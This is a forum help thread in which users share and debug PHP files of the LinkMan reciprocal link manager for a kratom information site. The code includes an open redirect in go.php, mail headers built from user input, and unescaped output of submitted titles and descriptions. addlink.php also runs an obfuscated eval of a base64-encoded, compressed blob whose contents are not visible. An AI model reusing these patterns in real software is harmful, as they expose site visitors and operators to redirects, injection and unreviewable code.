    	    /* Make sure new link is added after any featured ones */
    		$i = 0;
            $was_added = 0;
    		foreach ($lines as $thisline)
    		{
    			list($name2,$email2,$title2,$url2,$recurl2,$description2,$featured2,$pr2)=explode($settings['delimiter'],$thisline);
    			$featured2 = $featured2 ? 1 : 0;
    			if ($featured2 == 0)
    			{
    				$lines[$i] = $replacement . $thisline;
                    $was_added = 1;
    				break;
    			}
    			$i++;
    		}
    
            if ($was_added)
            {
    			$replacement = implode('',$lines);
    		    $fp = fopen($settings['linkfile'],'w') or problem('Couldn\'t open links file for writing! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
            }
    		else
    		{
    		    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
    		}
    	}
    	else
    	{
    	    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    	    flock($fp, LOCK_EX);
    	    fputs($fp,$replacement);
    	    flock($fp, LOCK_UN);
    	    fclose($fp);
    	}
    
    	if($settings['notify'] == 1)
    	{
    $message = "Hello,
    
    Someone just added a new link to your links page on $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    
    End of message
    
    ";
    	    $headers  = "From: $name <$email>\n";
    	    $headers .= "Reply-To: $name <$email>\n";
    	    mail($settings['admin_email'],'New link submitted',$message,$headers);
    	}
    
    	require_once('header.txt');
    	?>
    	<p align="center"><b>Your link has been added!</b></p>
    	<p>&nbsp;</p>
    	<p align="center">Thank you, your link has been successfully added to our link exchange (try reloading our links page if you don't see your link there yet)!</p>
    	<p>&nbsp;</p>
    	<p>&nbsp;</p>
    	<p align="center"><a href="<?php echo $settings['site_url']; ?>">Back to the main page</a></p>
    	<?php
    	require_once('footer.txt');
    	exit();
    }
    
    
    /*** FUNCTION ***/
    
    function problem($problem) {
    require_once('header.txt');
    echo '
        <p align="center"><font color="#FF0000"><b>ERROR</b></font></p>
        <p>&nbsp;</p>
        <p align="center">'.$problem.'</p>
        <p>&nbsp;</p>
        <p align="center"><a href="javascript:history.go(-1)">Back to the previous page</a></p>
    ';
    require_once('footer.txt');
    exit();
    }
    
    function print_secimg($message=0) {
    global $settings;
    $_SESSION['checked']=$settings['filter_sum'];
    require_once('header.txt');
    ?>
    <p>&nbsp;</p>
    
    <p align="center"><b>Anti-SPAM check</b></p>
    
    <div align="center"><center>
    <table border="0">
    <tr>
    <td>
        <form action="addlink.php?<?php echo strip_tags(SID); ?>" method="POST" name="form">
    
        <hr>
        <?php
        if ($message == 1)
        {
            echo '<p align="center"><font color="#FF0000"><b>Please type in the security number</b></font></p>';
        }
        elseif ($message == 2)
        {
            echo '<p align="center"><font color="#FF0000"><b>Wrong security number. Please try again</b></font></p>';
        }
        ?>
    
        <p>This is a security check that prevents automated signups of this forum (SPAM).
        Please enter the security number displayed below into the input field and click the continue button.</p>
    
        <p>&nbsp;</p>
    
        <p>Security number: <b><?php echo $_SESSION['secnum']; ?></b><br>
        Please type in the security number displayed above:
        <input type="text" size="7" name="secnumber" maxlength="5"></p>
    
        <p>&nbsp;
        <?php
        foreach ($_POST as $k=>$v)
        {
            if ($k == 'secnumber')
            {
                continue;
            }
            echo '<input type="hidden" name="'.htmlspecialchars($k).'" value="'.htmlspecialchars(stripslashes($v)).'">';
        }
        ?>
        </p>
    
        <p align="center"><input type="submit" value=" Continue "></p>
    
        <hr>
    
        </form>
    </td>
    </tr>
    </table>
    </center></div>
    
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    
    <?php
    require_once('footer.txt');
    exit();
    }
    
    function check_secnum($secnumber,$checksum) {
        global $settings;
        $secnumber .= $settings['filter_sum'].date('dmy');
        if ($secnumber == $checksum)
        {
            unset($_SESSION['checked']);
            return true;
        }
        else
        {
            return false;
        }
    }
    ?>
    approve page
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    $approve = intval($_GET['approve']);
    
    $hash = pj_input($_GET['id'],'Missing ID hash. Please make sure you copy the full approval/rejection URL!');
    $hash = preg_replace('/[^a-z0-9]/','',$hash);
    $file = 'apptmp/'.$hash.'.txt';
    
    /* Check if the file hash is correct */
    if (!file_exists($file))
    {
    	problem('Wrong link ID hash. Possible problems:<br><br>- the link has already been approved or rejected<br>- you didn\'t copy the full approval/rejection URL');
    }
    
    /* Reject the link */
    if (!$approve)
    {
    	unlink($file);
    	?>
    	<html>
    	<head>
    	<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
    	<link rel="STYLESHEET" type="text/css" href="style.css">
    	<title>LinkMan admin panel</title>
    	</head>
    	<body marginheight="5" topmargin="5">
    
    	<p>&nbsp;</p>
    
    	<div align="center">
    	<table width="400">
    	<tr>
    	<td align="center" class="head">Link rejected</td>
    	</tr>
    	<tr>
    	<td align="center" class="dol">
        <p>&nbsp;</p>
    	<p>The selected link has been rejected from the link exchange.</p>
        <p>&nbsp;</p>
    	</td>
    	</tr>
    	</table>
    	</div>
    
    	</body>
    	</html>
    	<?php
    	exit();
    }
    
    /* Approve link */
    $replacement = trim(@file_get_contents('apptmp/'.$hash.'.txt'));
    if (empty($replacement))
    {
    	problem('This link doesn\'t exist or has already been approved or rejected!');
    }
    $replacement .= "\n";
    
    if ($settings['add_to'] == 0)
    {
            /* Get existing lines */
            $lines = file($settings['linkfile']);
            
    	/* Make sure new link is added after any featured ones */
    	$i = 0;
    	$was_added = 0;
    	foreach ($lines as $thisline)
    	{
    		list($name2,$email2,$title2,$url2,$recurl2,$description2,$featured2,$pr2)=explode($settings['delimiter'],$thisline);
    		$featured2 = $featured2 ? 1 : 0;
    		if ($featured2 == 0)
    		{
    			$lines[$i] = $replacement . $thisline;
    			$was_added = 1;
    			break;
    		}
    		$i++;
    	}
    
    	if ($was_added)
    	{
    		$replacement = implode('',$lines);
    		$fp = fopen($settings['linkfile'],'w') or problem('Couldn\'t open links file for writing! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		flock($fp, LOCK_EX);
    		fputs($fp,$replacement);
    		flock($fp, LOCK_UN);
    		fclose($fp);
    	}
    	else
    	{
    		$fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		flock($fp, LOCK_EX);
    		fputs($fp,$replacement);
    		flock($fp, LOCK_UN);
    		fclose($fp);
    	}
    }
    else
    {
    	$fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    	flock($fp, LOCK_EX);
    	fputs($fp,$replacement);
    	flock($fp, LOCK_UN);
    	fclose($fp);
    }
    
    unlink($file);
    ?>
    	<html>
    	<head>
    	<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
    	<link rel="STYLESHEET" type="text/css" href="style.css">
    	<title>LinkMan admin panel</title>
    	</head>
    	<body marginheight="5" topmargin="5">
    
    	<p>&nbsp;</p>
    
    	<div align="center">
    	<table width="400">
    	<tr>
    	<td align="center" class="head">Link approved</td>
    	</tr>
    	<tr>
    	<td align="center" class="dol">
        <p>&nbsp;</p>
    	<p>The selected link has been approved and included in the link exchange.</p>
        <p>&nbsp;</p>
    	</td>
    	</tr>
    	</table>
    	</div>
    
    	</body>
    	</html>
    <?php
    exit();
    
    
    
    /*** FUNCTIONS ***/
    
    function problem($problem) {
    require_once('header.txt');
    echo '
        <p align="center"><font color="#FF0000"><b>ERROR</b></font></p>
        <p>&nbsp;</p>
        <p align="center">'.$problem.'</p>
        <p>&nbsp;</p>
        <p align="center"><a href="javascript:history.go(-1)">Back to the previous page</a></p>
    ';
    require_once('footer.txt');
    exit();
    }
    ?>
    go page
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    $url = rawurldecode($_GET['url']);
    Header('Location: '.$url);
    exit();
    ?>

  5. #5
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    index.php (home.php)
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    
    <head>
       <title>Kratom | Kratom Leaf |</title>
       <meta name="description"
          content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
       <meta name="abstract"
          content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
       <meta name="ROBOTS" content="ALL=INDEX,FOLLOW">
       <meta http-equiv="content-type" content="text/html; charset=utf-8">
       <script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    	var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    	ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    	var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
       </script>
       <style type="text/css">
    html,body{margin:0;padding:0}
    body{font: 76% arial,sans-serif;text-align:center;font-size:15px}
    p{margin:0 10px 10px}
    a{padding:5px; }
    div#header{background-color:#ffffff;}
    div#header h1{height:120px;line-height:120px;margin:0;padding-left:10px;}
    div#container{text-align:left}
    div#content p{line-height:1.4}
    div#navigation{background:#CCFF99;}
    div#navigation ul{margin:15px 0; padding:0; list-style-type:none;}
    div#navigation li{margin-bottom:5px;}
    div#extra{background:#CCFF99;}
    div#footer{background:#336633;}
    div#footer p{margin:0;padding:5px 10px}
    div#container{align:right; width:1000px;margin:0 auto}
    div#content{float:right;width:780px;padding:10px;min-height:400px;}
    div#navigation{float:left;width:200px}
    div#extra{clear:both;width:100%;}
    .white{color:#ffffff}
    img {padding: 10px 10px 10px 10px;}
    #images img { float: left; border: none; clear:none}
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
    body, td, p {
    	background-color : #FFFFFF;
    	color : #000000;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 12px;
    }
    td.linkman, p.linkman {
    	background-color : #FFFFFF;
    	color : #000000;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 12px;
    }
    a.linkman {
    	color : blue;
    	font-size : 12px;
    	text-decoration : underline;
    }
    a.linkman:hover {
    	color : red;
    	text-decoration : none;
    }
    span.linkmanURL {
    	color : #6f6f6f;
    }
       </style>
    </head>
    
    <body>
    
    <div id="container">
    
       <div id="header">
          <h1>
    	 <img class="c1" src="http://ukratom.com/images/kraton_logo.jpg" alt="Kratom">
    	 <a href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331">
    	    <img class="c2" alt="buy kratom, kratom buy" src="http://ukratom.com/images/Kratom_leaf.jpg">
    	 </a>
          </h1>
       </div>
       
       <div id="wrapper">
          <div id="content" style="background-color:#dcdcdc">
    	 <?php
    	    if($_POST['addlink']) include("addlink.php");
    	    else include("links.php");
    	    echo 'Powered by <a href="http://www.phpjunkyard.com/php-link-manager.php" class="linkman" title="link exchange software">PHP Link manager</a> from <a href="http://www.phpjunkyard.com/" class="linkman" title="free php scripts">php scripts</a>';
    	 ?>
          </div>
       </div>
       
       <div id="navigation">
          <ul>
    	 <li><a href="kratom_images.html" title="kratom images">Kratom Images</a></li>
    	 <li><a href="kratom_dosage.html" title="kratom dosage">Kratom Dosage</a></li>
    	 <li><a href="kratom_effects.html" title="kratom effects">Kratom Effects</a></li>
    	 <li><a href="kratom_extracts.html" title="kratom extract">Kratom Extracts</a></li>
    	 <li><a href="kratom_resin.html" title="kratom resin">Kratom Resin</a></li>
    	 <li><a href="kratom_crushed.html" title="crushed kratom leaf">Crushed Kratom Leaf</a></li>
    	  <li><a href="kratom_powder.html" title="kratom powder">Kratom Powder</a></li>
          </ul>
       </div>
       
       <div id="extra">
          <p class="c3">
    	 <a href="http://ukratom.com/" title="kratom home">Kratom Home</a>
    	 |
    	 <a href="sitemap.html" title="kratom sitemap">Site Map</a>
          </p>
       </div>
       
       <div id="footer">
          <p class="white">&copy; uKRATOM.COM</p>
       </div>
       
    </div>
    
    </body>
    </html>
    links.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    if(!$_REQUEST['link'])
    {
    
    	echo '<p><a href="?link=add">Submit Your Website</a></p>';
    
    }
    
    $lines = file($settings['linkfile']);
    
    /* Handle pages */
    if ($settings['allow_pages'])
    {
    	/* Page number, default 1st page */
    	$page=intval($_REQUEST['page']);
    	if ($page > 0)
    	{
    	    $start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;
    	}
    	else
    	{
    	    $page=1;$start=0;$end=$settings['max_per_page']-1;
    	}
    
        /* Total number of links */
    	$total = count($lines);
    
    	if ($total > 0)
    	{
    		if ($end > $total) {$end=$total;}
    		$pages = ceil($total/$settings['max_per_page']);
                   
    		$page_nav = '';
    
    		if ($pages > 1)
    		{
    			$page_nav = '<p>';
    
    			$prev_page = ($page-1 <= 0) ? 0 : $page-1;
    			$next_page = ($page+1 > $pages) ? 0 : $page+1;
    
    			if ($prev_page)
    			{
    				$page_nav .= '<a href="links.php?page=1">&lt;&lt; First</a> &nbsp;|&nbsp; ';
    				if ($prev_page > 1)
    				{
    					$page_nav .= '<a href="links.php?page='.$prev_page.'">&lt; Prev</a> &nbsp;|&nbsp;';
    				}
    			}
    
    			for ($i=1; $i<=$pages; $i++)
    			{
    				if ($i <= ($page+5) && $i >= ($page-5))
    				{
    					if($i == $page) {$page_nav .= ' <b>'.$i.'</b> ';}
    				else {$page_nav .= ' <a href="links.php?page='.$i.'">'.$i.'</a> ';}
    				}
    			}
    
    			if ($next_page)
    			{
    				if ($next_page < $pages)
    				{
    					$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$next_page.'">Next &gt;</a>';
    				}
    				$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$pages.'">Last &gt;&gt;</a>';
    			}
    
    			$page_nav .= '</p>';
    
    			echo $page_nav;
    		}
    	}
    	$lines = array_slice($lines,$start,$settings['max_per_page']);
    }
    
    $print_featured = 0;
    $first = 1;
    $i = 0;
    
    foreach ($lines as $thisline)
    {
    	$thisline=trim($thisline);
    	if (!empty($thisline))
    	{
    		$i++;
    		list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
    
    		$show_url = $settings['show_url'] ? '&nbsp;<span class="linkmanURL">-&nbsp;'.$url.'</span>' : '';
    
    		if ($settings['show_pr'] == 1)
    		{
    			if (empty($pr)) {$pr=0;}
    			$pr_code = '
    <td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10">
    <img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" style="vertical-align: middle;">&nbsp;</td>
    ';
    		}
    		else
    		{
    			$pr_code = '';
    		}
    		if ($settings['show_thumbshots'])
    		{
    		    $thumb_code = '<td valign="top" class="linkman">
    <img src="'.$settings['thumb_url'].rawurlencode($url).'" style="vertical-align: middle;border:1x" width="120" height="90" alt="Thumbnail">&nbsp;
    </td>
    ';
    		}
    		else
    		{
    			$thumb_code = '';
    		}
    
    		if ($featured == 1)
    		{
    			if ($print_featured == 0)
    			{
    				$print_featured = 1;
    				$first = 0;
    				echo '<p class="linkman"><b>Featured links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'
    			.$url.'" class="linkman" '.$nofollow.'><b>'.$title.'</b></a>'.$show_url.'<br>'.$description.
    			'<br>&nbsp;</p></td></tr>';
    		}
    		else
    		{
    			if ($settings['show_thumbshots']!=1)
    			{
    				$thumb_code = '';
    			}
    			if ($print_featured == 1)
    			{
    				$print_featured = 0;
    				$first = 1;
    				echo '</table>';
    			}
    			if ($first == 1)
    			{
    				$first = 0;
    				echo '<p class="linkman"><b>Reciprocal links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'.
    			$url.'" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.
    			'</p></td></tr>';
    		}
    	}
    }
    
    /* Close the table if at least one link is printed out */
    if ($i)
    {
    	echo '</table>';
    
    	/* Print bottom page navigation if at least 20 listings on the page */
    	if ($settings['allow_pages'] && $i > 19)
    	{
    		echo $page_nav;
    	}
    }
    else
    {
    	echo '<p class="linkman">No links yet!</p>';
    }
    if(!$_REQUEST['link']) return;
    
    if ($i < $settings['max_links'])
    {
    	echo '
    <p class="linkman"><a name="addlink"></a>&nbsp;<br><b>Submit your website</b></p>
    <p><b>&raquo; Step 1: Add our link to your website</b></p>
    <table border="0">
    <tr>
    <td>Website URL:</td>
    <td><a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a></td>
    </tr>
    <tr>
    <td>Website Title:</td>
    <td>'.htmlspecialchars($settings['site_title']).'</td>
    </tr>
    <tr>
    <td>Description:</td>
    <td>'.htmlspecialchars($settings['site_desc']).'</td>
    </tr>
    </table>
    
    <p><textarea rows="4" cols="60" onfocus="this.select()">&lt;a href=&quot;'.
    $settings['site_url'].' &quot;&gt;'.htmlspecialchars($settings['site_title']).'&lt;/a&gt; - '.
    htmlspecialchars($settings['site_desc']).'</textarea></p>
    <p><b>&raquo; Step 2: Submit your link</b></p>
    <p>All fields are required. Please finish <b>Step 1</b> before submitting this form
    ';
    
    	if ($settings['man_approval'])
    	{
    		echo ' New links will be approved manually.';
    	}
    	echo '
    <form method="post" action="index.php">
    <table border="0">
    <tr>
    <td><b>Your name:</b></td>
    <td>
    <input type="hidden" name="addlink" value="1">
    <input type="text" name="name" size="40" maxlength="50">
    </td>
    </tr>
    <tr>
    <td><b>E-mail:</b></td>
    <td><input type="text" name="email" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website title:</b></td>
    <td><input type="text" name="title" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website URL:</b></td>
    <td><input type="text" name="url" maxlength="255" value="http://" size="40"></td>
    </tr>
    <tr>
    <td><b>URL with reciprocal link:</b></td>
    <td><input type="text" name="recurl" maxlength="255" value="http://" size="40"></td>
    </tr>
    </table>
    <p><b>Website description:</b><br>
    <input type="text" name="description" maxlength="200" size="60"></p>
    <p><input type="submit" value="Add link"></p>
    </form>
    ';
    
    } // End if $settings['max_links'] < $i
        else
        {
    	    echo '
    <p class="linkman">&nbsp;<br /><b>Submit your website</b></p>
    <p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
    ';
        }
     // End if $settings['show_form']
    
    ?>
    I tested the above codes and they passed validation.

    I'm having problem with addlink.php. I'll let you know when I got it working.

    Meanwhile please test out on what I got so far and let me know if you find any problems.

  6. #6
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    na the effects of that is at http://ukratom.com/links/linkser.php

    Using your updated links.php and the home.php seems to have only 2 errors.

  7. #7
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    It passed when I tried it. Here is the link:

    http://validator.w3.org/check?uri=ht...alidator%2F1.3

  8. #8
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by tom8 View Post
    It passed when I tried it. Here is the link:

    http://validator.w3.org/check?uri=ht...alidator%2F1.3
    Im not saying it doesnt pass, but look at how it looks. It doesnt look right at all... well i think i got that at http://ukratom.com/links/linktest.php

    And i appreciate your help if you want a free backlink Il give you that at least.

    Hopefully we can fix any other issues that come up with this script im about to test some of the other things in it.

  9. #9
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    what exactly did you change in links.php?

  10. #10
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    somethings messed up cuz now the addlink button aint working at all

  11. #11
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    what exactly did you change in links.php?
    Basically I set the functions in links.php return to the main program, which is index.php in my listing, when finished processing. In the original program, the process ended whenever it encountering error. There are still changes maybe needed in addlink.php before you can use them. Here are the codes if you want to test it out now:

    addlink.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    ini_set('user_agent', 'LinkMan '.$settings['verzija'].' by http://www.phpjunkyard.com');
    $_POST['addlink'] = 1;
    
    /* Accepting any more links? */
    $lines = @file($settings['linkfile']);
    if (count($lines)>$settings['max_links'])
    {
        problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
        return;
    }
    /* Check user input */
    $name  = pj_input($_POST['name'],'Please enter your name!');
    $email = pj_input($_POST['email'],'Please enter your e-mail address!');
    if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
    {
        problem('Please enter a valid e-mail address!');
        return;
    }
    $title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
    if (strlen($title)>50)
    {
        problem('Title is too long! Limit website title to 50 chars!');
        return;
    }
    
    $url   = pj_input($_POST['url'],'Please enter the URL of your website!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
    {
        problem('Please enter valid URL of your website!');
        return;
    }
    
    $recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
    {
        problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
        return;
    }
    /* Compare URL and Reciprocal page URL */
    $parsed_url = parse_url($url);
    $parsed_rec = parse_url($recurl);
    if ($parsed_url['host'] != $parsed_rec['host'])
    {
        problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
        return;
    }
    
    $url    = str_replace('&amp;','&',$url);
    $recurl = str_replace('&amp;','&',$recurl);
    
    $description = pj_input($_POST['description'],'Please write a short description of your website!');
    if (strlen($description)>200)
    {
        problem('Description is too long! Description of your website is limited to 200 chars!');
        return;
    }
    
    /* Check if the website is banned */
    if ($mydata = file_get_contents($settings['banfile']))
    {
    	/* Check website URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    		return;
    	}
    
    	/* Check reciprocal link URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    		return;
    	}
    	unset($mydata);
    }
    if($numerr) return;
    
    /* Check title and description for possible spam problems */
    eval(gzinflate(base64_decode('DVe1ssXIFfwc75YCMZUjMTPfxCVmZn29Xz5Q09N0yisd/qm/dq
    qG9Cj/ydK9JLD/FWU+F+U//xF/Obzvobb3kQwBgMjzohgh6jhcJv8xjwydHZhlpeEN788idlIC6eUaif
    MB3h3cx29+tRt8zy1px60C8W9Zr5J5sFa0YxPWQc9qOqu2tTZPHnZx7tyHR+BUED+BSUFME86GyBVWrV
    /b7+QrstzCGV7uXnDEdik4N2yUkzdVOTfp56ltF40JEAVbVGkrjJvbAvlqQrodQ4UaCMzJQ9l6LVilNX
    MtNeW+G7DBjDhi58Ms8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3d812P7120eF0yVGYSvF1VKg94RWwLX0+iAU5InBJcMSiptBr
    l2cAjD6hQOOzRIewM2KuvxcqeoLGGxZ5wv2mKpea0tsUfZ3OqzjlPH/v49CZEZyOXOnPbE8cdzIsS3UF
    P1v4YUW5EB2JFBhI7TLPH2GWavVvsaqW8cupl0HebmjNGLub5ouYIfxmpDmZ9GbMoParlU39qhj5+/76
    3ePil4yg1iJk5wxqpcQqqdyh9LdckH69qQoh2MBoLsXiXSM96qhR80f4SBE5ncERDxIPc32fu7Z1TXk5
